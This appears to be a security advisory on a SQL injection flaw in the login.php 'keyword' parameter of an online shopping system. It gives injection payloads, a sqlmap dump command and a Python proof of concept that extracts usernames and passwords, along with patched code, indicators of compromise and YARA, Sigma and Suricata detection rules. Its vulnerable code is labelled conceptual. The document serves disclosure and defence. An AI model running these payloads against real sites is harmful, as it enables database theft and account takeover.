CVE-2025-51972

Executive Summary

CVE-2025-51972 is a critical SQL Injection vulnerability discovered in the login.php component of the PuneethReddyHC Online Shopping System Advanced 1.0. The flaw exists due to improper sanitization of the keyword POST parameter, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to complete database compromise, including extraction of user credentials, personal data, and administrative access. The vulnerability has a CVSS base score of 9.8 (Critical) and is currently unpatched. No public exploit code or Nuclei template has been released, but the attack vector is straightforward and well-documented.

Supply Chain & Package Security

This application is a custom PHP-based e-commerce system, not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to direct deployments of the vulnerable software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is trivial to exploit and requires no authentication. An attacker can dump the entire database, modify data, or potentially gain administrative access to the application.

Deep Dive & Mechanics

The vulnerability resides in the login.php script. The application accepts a keyword parameter via POST request, which is likely used for search or autocomplete functionality on the login page. The input is directly concatenated into a SQL query without proper sanitization or parameterized statements.

Vulnerable Code Snippet (Conceptual):

$keyword = $_POST['keyword'];
$query = "SELECT * FROM users WHERE username LIKE '%$keyword%' OR email LIKE '%$keyword%'";
$result = mysqli_query($conn, $query);

An attacker can break out of the intended query by injecting a single quote (') and appending malicious SQL. For example:

' OR '1'='1' -- -

This would return all user records, bypassing authentication or leaking data.

Attack Flow:

1. Attacker sends a POST request to login.php with keyword parameter containing SQL injection payload.
2. The unsanitized input is embedded in the SQL query.
3. The database executes the malicious query, returning unintended data or performing unauthorized operations.
4. Attacker extracts sensitive information (e.g., admin credentials, customer data) or escalates privileges.

Vulnerable vs. Patched Code

Vulnerable Code (login.php):

$keyword = $_POST['keyword'];
$sql = "SELECT * FROM users WHERE username LIKE '%" . $keyword . "%'";
$result = mysqli_query($conn, $sql);

Patched Code (Recommended):

$keyword = $_POST['keyword'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username LIKE ?");
$searchTerm = '%' . $keyword . '%';
$stmt->bind_param("s", $searchTerm);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running PuneethReddyHC Online Shopping System Advanced 1.0
• Network access to the login page

Manual Exploitation:

1. Intercept a login request using Burp Suite or similar proxy.
2. Modify the keyword parameter to inject SQL.
3. Example payload to extract all usernames and passwords:

' UNION SELECT username, password, NULL, NULL FROM users -- -

4. Send the request and observe the response for dumped data.

Automated Exploitation (sqlmap):

sqlmap -u "http://target.com/login.php" --data="keyword=test" --batch --dump

Proof-of-Concept (Python):

import requests

target = "http://target.com/login.php"
payload = "' UNION SELECT username, password, NULL, NULL FROM users -- -"
data = {"keyword": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for SQL injection patterns in POST parameters (e.g., ' OR, UNION SELECT, --).
• Alert on unusual database error messages in HTTP responses.
• Use WAF rules to block common SQL injection keywords.

Defense:

• Immediately apply input validation and parameterized queries.
• Restrict database user privileges (least privilege principle).
• Enable detailed logging of all SQL queries and authentication attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /login.php with keyword parameter containing SQL keywords (UNION, SELECT, OR, --, #).
• HTTP responses containing database error messages (e.g., You have an error in your SQL syntax).
• Unusually large response bodies from login.php (indicating data exfiltration).

File IOCs:

• Modified login.php file (if attacker uploaded a webshell).
• Suspicious files in the web root (e.g., cmd.php, shell.php).

Log IOCs:

• Repeated failed login attempts followed by a successful login with unusual parameters.
• Database logs showing queries with injected SQL syntax.

Detection Engineering

YARA Rule

rule CVE_2025_51972_SQLi_Login
{
    meta:
        description = "Detects SQL injection attempts targeting login.php keyword parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-51972"
    strings:
        $s1 = "keyword=" nocase
        $s2 = "' OR" nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "--" nocase
        $s5 = "1=1" nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against login.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the keyword parameter in login.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'login.php'
        cs-uri-query|contains: 'keyword='
        cs-uri-query|contains|all:
            - "'"
            - 'OR'
            - '--'
    condition: selection
falsepositives:
    - Legitimate use of special characters in search fields (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-51972 SQL Injection Attempt on login.php";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"login.php"; http_uri;
    content:"keyword="; http_client_body;
    pcre:"/(\x27OR|UNION\s+SELECT|--)/Pi";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply a virtual patch using a WAF (e.g., ModSecurity) to block SQL injection patterns.
3. Manually fix the code by replacing all dynamic SQL queries with prepared statements (see patched code above).

Long-Term Fixes:

• Upgrade to a secure version of the software (if/when vendor releases a patch).
• Conduct a full security audit of the application.
• Implement input validation and output encoding throughout the codebase.
• Use a web application firewall (WAF) with SQL injection protection.

Workaround:

• Disable the keyword functionality in login.php by removing or commenting out the search feature until a patch is applied.

Valters IT